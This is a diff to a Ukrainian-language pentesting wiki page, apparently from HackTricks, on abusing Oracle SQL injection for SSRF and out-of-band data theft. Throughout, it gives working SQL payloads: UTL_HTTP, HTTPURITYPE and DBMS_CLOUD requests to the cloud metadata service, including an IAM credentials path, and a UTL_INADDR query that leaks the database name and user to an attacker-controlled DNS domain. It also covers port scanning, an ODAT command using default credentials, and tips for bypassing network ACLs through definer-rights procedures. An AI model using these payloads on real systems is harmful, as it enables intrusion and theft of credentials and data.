diff --git a/src/pentesting-web/sql-injection/oracle-injection.md b/src/pentesting-web/sql-injection/oracle-injection.md
index 9a2a63791..50d763f20 100644
--- a/src/pentesting-web/sql-injection/oracle-injection.md
+++ b/src/pentesting-web/sql-injection/oracle-injection.md
@@ -2,19 +2,19 @@
{{#include ../../banners/hacktricks-training.md}}
-**Надайте цю публікацію копію з Wayback Machine видаленої публікації з [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
+**Serve this post a wayback machine copy of the deleted post from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
Використання Oracle для виконання Out of Band HTTP та DNS запитів добре задокументовано, але як засіб ексфільтрації SQL даних в ін'єкціях. Ми завжди можемо модифікувати ці техніки/функції для виконання інших SSRF/XSPA.
-Встановлення Oracle може бути дійсно болісним, особливо якщо ви хочете налаштувати швидкий екземпляр для випробування команд. Мій друг і колега з [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), вказав мені на [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c), що дозволило мені налаштувати екземпляр на машині t2.large AWS Ubuntu та Docker.
+Встановлення Oracle може бути дійсно болісним, особливо якщо ви хочете налаштувати швидкий екземпляр для випробування команд. Мій друг і колега з [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), вказав мені на [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c), що дозволило мені налаштувати екземпляр на t2.large AWS Ubuntu машині та Docker.
Я запустив команду docker з прапором `--network="host"`, щоб я міг імітувати Oracle як рідну установку з повним доступом до мережі, протягом цього блогу.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
-#### Пакети Oracle, які підтримують специфікацію URL або Ім'я хоста/Номер порту
+#### Oracle пакети, які підтримують специфікацію URL або Ім'я хоста/Номер порту
Щоб знайти будь-які пакети та функції, які підтримують специфікацію хоста та порту, я провів пошук у Google на [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Конкретно,
```
@@ -43,7 +43,7 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
**DBMS_LDAP.INIT**
-Пакет `DBMS_LDAP` дозволяє отримувати доступ до даних з LDAP серверів. Функція `init()` ініціалізує сесію з LDAP сервером і приймає ім'я хоста та номер порту як аргумент.
+Пакет `DBMS_LDAP` дозволяє отримувати доступ до даних з LDAP-серверів. Функція `init()` ініціалізує сесію з LDAP-сервером і приймає ім'я хоста та номер порту як аргумент.
Цю функцію раніше документували, щоб показати ексфільтрацію даних через DNS, як нижче
```
@@ -58,7 +58,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
-`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` показує, що порт закритий, тоді як значення сесії вказує на те, що порт відкритий.
+`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` вказує на те, що порт закритий, хоча значення сесії вказує на те, що порт відкритий.
**UTL_SMTP**
@@ -82,7 +82,7 @@ END;
**UTL_TCP**
-Пакет `UTL_TCP` та його процедури і функції дозволяють [TCP/IP на основі зв'язку з сервісами](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Якщо він запрограмований для конкретного сервісу, цей пакет може легко стати шляхом у мережу або виконувати повні запити з боку сервера, оскільки всі аспекти TCP/IP з'єднання можуть бути контрольовані.
+Пакет `UTL_TCP` та його процедури і функції дозволяють [TCP/IP на основі зв'язку з сервісами](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Якщо його запрограмувати для конкретного сервісу, цей пакет може легко стати шляхом у мережу або виконати повні запити на стороні сервера, оскільки всі аспекти TCP/IP з'єднання можуть бути контрольовані.
Приклад [на сайті документації Oracle показує, як ви можете використовувати цей пакет для створення сирого TCP з'єднання для отримання веб-сторінки](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ми можемо трохи спростити це і використовувати його для виконання запитів до екземпляра метаданих, наприклад, або до довільного TCP/IP сервісу.
```
@@ -128,7 +128,7 @@ END;
**UTL_HTTP та веб-запити**
-Мабуть, найпоширеніша та найдокументованіша техніка в кожному навчальному посібнику з Out of Band Oracle SQL Injection - це пакет [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Цей пакет визначається документацією як - `Пакет UTL_HTTP здійснює виклики протоколу передачі гіпертексту (HTTP) з SQL та PL/SQL. Ви можете використовувати його для доступу до даних в Інтернеті через HTTP.`
+Мабуть, найпоширеніша та найдокументованіша техніка в кожному навчальному посібнику з Out of Band Oracle SQL Injection - це пакет [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Цей пакет визначається документацією як - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
@@ -140,6 +140,89 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener` або `TNS:operation timed out` є ознакою того, що TCP порт закритий, тоді як `ORA-29263: HTTP protocol error` або дані є ознакою того, що порт відкритий.
-Інший пакет, який я використовував у минулому з різним успіхом, це [`GETCLOB()` метод абстрактного типу `HTTPURITYPE` Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), який дозволяє взаємодіяти з URL і надає підтримку для HTTP протоколу. Метод `GETCLOB()` використовується для отримання GET відповіді з URL як [CLOB типу даних.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
+Інший пакет, який я використовував у минулому з різним успіхом, це [`GETCLOB()` метод `HTTPURITYPE` абстрактного типу Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), який дозволяє взаємодіяти з URL і надає підтримку для HTTP протоколу. Метод `GETCLOB()` використовується для отримання GET відповіді з URL у вигляді [CLOB типу даних.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
+```
+SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
+```
+---
+
+## Додаткові пакети та техніки (Oracle 19c → 23c)
+
+### UTL_INADDR – ексфільтрація на основі DNS та виявлення хостів
+
+`UTL_INADDR` надає прості допоміжні засоби для розв'язання імен, які викликають вихідний DNS-запит з хосту бази даних. Оскільки потрібен лише домен (порт/ACL не потрібні), це надійний примітив для сліпої ексфільтрації, коли інші мережеві виклики заблоковані.
+```sql
+-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
+SELECT UTL_INADDR.get_host_address(
+(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
+'.attacker.oob.server') FROM dual;
+```
+`get_host_address()` повертає розв'язану IP-адресу (або викликає `ORA-29257`, якщо розв'язання не вдається). Атакуючому потрібно лише спостерігати за вхідним DNS-запитом на контрольованому домені, щоб підтвердити виконання коду.
+
+### DBMS_CLOUD.SEND_REQUEST – повний HTTP-клієнт на Autonomous/23c
+
+Останні хмарні версії (Autonomous Database, 21c/23c, 23ai) постачаються з `DBMS_CLOUD`. Функція `SEND_REQUEST` діє як універсальний HTTP-клієнт, який підтримує користувацькі дієслова, заголовки, TLS та великі тіла, що робить її набагато потужнішою за класичний `UTL_HTTP`.
+```sql
+-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
+BEGIN
+-- empty credential when no auth is required
+DBMS_CLOUD.create_credential(
+credential_name => 'NOAUTH',
+username => 'ignored',
+password => 'ignored');
+END;
+/
+
+DECLARE
+resp DBMS_CLOUD_TYPES.resp;
+BEGIN
+resp := DBMS_CLOUD.send_request(
+credential_name => 'NOAUTH',
+uri => 'http://169.254.169.254/latest/meta-data/',
+method => 'GET',
+timeout => 3);
+dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
+END;
+/
+```
+Оскільки `SEND_REQUEST` дозволяє довільні цільові URI, його можна зловживати через SQLi для:
+1. Внутрішнього сканування портів / SSRF до служб метаданих хмари.
+2. Витоку даних поза каналом через HTTPS (використовуйте Burp Collaborator або тунель `ngrok`).
+3. Зворотних викликів до серверів зловмисника, навіть коли старі пакети викликів відключені ACL.
+
+ℹ️ Якщо у вас є лише класичний локальний 19c, але ви можете створювати збережені процедури Java, ви іноді можете встановити `DBMS_CLOUD` з пакету клієнта OCI — корисно в деяких випадках.
+
+### Автоматизація поверхні атаки з **ODAT**
+
+[ODAT – Інструмент для атаки бази даних Oracle](https://github.com/quentinhardy/odat) йде в ногу з сучасними випусками (перевірено до 19c, 5.1.1 – квітень 2022). Модулі `–utl_http`, `–utl_tcp`, `–httpuritype` та новіший `–dbms_cloud` автоматично:
+* Виявляють придатні пакети викликів/надання ACL.
+* Викликають DNS та HTTP зворотні виклики для сліпого витоку.
+* Генерують готові до копіювання SQL корисні навантаження для Burp/SQLMap.
+
+Приклад: швидка перевірка OOB з використанням стандартних облікових даних (піклується про перерахування ACL у фоновому режимі):
+```bash
+odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
+```
+### Останні обмеження та обхід мережевих ACL
+
+Oracle посилив стандартні мережеві ACL у CPU липня 2023 року — облікові записи без привілеїв тепер за замовчуванням отримують `ORA-24247: network access denied by access control list`. Два шаблони все ще дозволяють виклики через SQLi:
+1. Цільовий обліковий запис володіє записом ACL (`DBMS_NETWORK_ACL_ADMIN.create_acl`), який був доданий розробником для інтеграцій.
+2. Зловмисник зловживає високопривілейованою процедурою PL/SQL з правами визначення (наприклад, у власному додатку), яка *вже* має `AUTHID DEFINER` та необхідні привілеї.
+
+Якщо ви зіткнетеся з `ORA-24247` під час експлуатації, завжди шукайте повторно використовувані процедури:
+```sql
+SELECT owner, object_name
+FROM dba_objects
+WHERE object_type = 'PROCEDURE'
+AND authid = 'DEFINER';
+```
+(в багатьох аудитах принаймні одна процедура звітування/експорту мала необхідні права).
+
+---
+
+## Посилання
+
+* Oracle Docs – опис пакету `DBMS_CLOUD.SEND_REQUEST` та приклади.
+* quentinhardy/odat – Інструмент для атаки на Oracle Database (остання версія 5.1.1, квітень 2022).
{{#include ../../banners/hacktricks-training.md}}